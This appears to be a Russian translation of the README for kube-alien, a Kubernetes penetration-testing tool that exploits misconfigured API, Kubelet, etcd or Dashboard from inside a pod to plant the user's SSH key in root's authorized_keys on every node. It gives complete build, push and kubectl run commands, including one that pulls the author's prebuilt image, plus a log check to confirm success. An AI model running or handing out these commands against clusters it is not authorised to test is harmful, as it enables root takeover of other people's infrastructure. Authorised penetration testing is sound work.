
Автоматизированный инструмент для тестирования на проникновение в кластеры Kubernetes, который использует неверные конфигурации в API, Kubelet, etcd и Dashboard для захвата узла через внедрение SSH-ключа изнутри пода.
Этот инструмент запускает атаку на кластер k8s изнутри. То есть для его запуска вам уже нужен доступ с разрешением на развёртывание подов в кластере. После запуска пода kube-alien он пытается захватить узлы кластера, добавив ваш открытый ключ в файл /root/.ssh/authorized_keys на узле, используя образ https://github.com/nixwizard/dockercloud-authorizedkeys (может быть настроен с помощью параметра ADD_AUTHKEYS_IMAGE в config.py), форкнутый из docker/dockercloud-authorizedkeys. Атака удаётся, если в одном из компонентов кластера есть неправильная конфигурация; она проходит по следующим векторам:
Какова цель этого инструмента?
Как можно атаковать кластер k8s изнутри в реальной жизни?
Перед использованием инструмента образ Kube-alien необходимо отправить в ваш dockerhub (или другой реестр).
git clone https://github.com/nixwizard/kube-alien.git
cd kube-alien
docker build -t ka ./
docker tag ka YOUR_DOCKERHUB_ACCOUNT/kube-alien
docker push YOUR_DOCKERHUB_ACCOUNT/kube-alien
Переменная окружения AUTHORIZED_KEYS должна быть установлена в значение вашего публичного ключа SSH; в случае успеха публичный ключ будет добавлен в файл authorized_keys пользователя root на всех узлах.
kubectl run --image=YOUR_DOCKERHUB_ACCOUNT/kube-alien kube-alien --env="AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)" --restart Never
Или вы можете использовать мой образ для быстрого тестирования:
kubectl run --image=nixwizard/kube-alien kube-alien --env="AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)" --restart Never
Проверьте логи пода Kube-alien, чтобы узнать, была ли атака успешной:
kubectl logs $(kubectl get pods| grep alien|cut -f1 -d' ')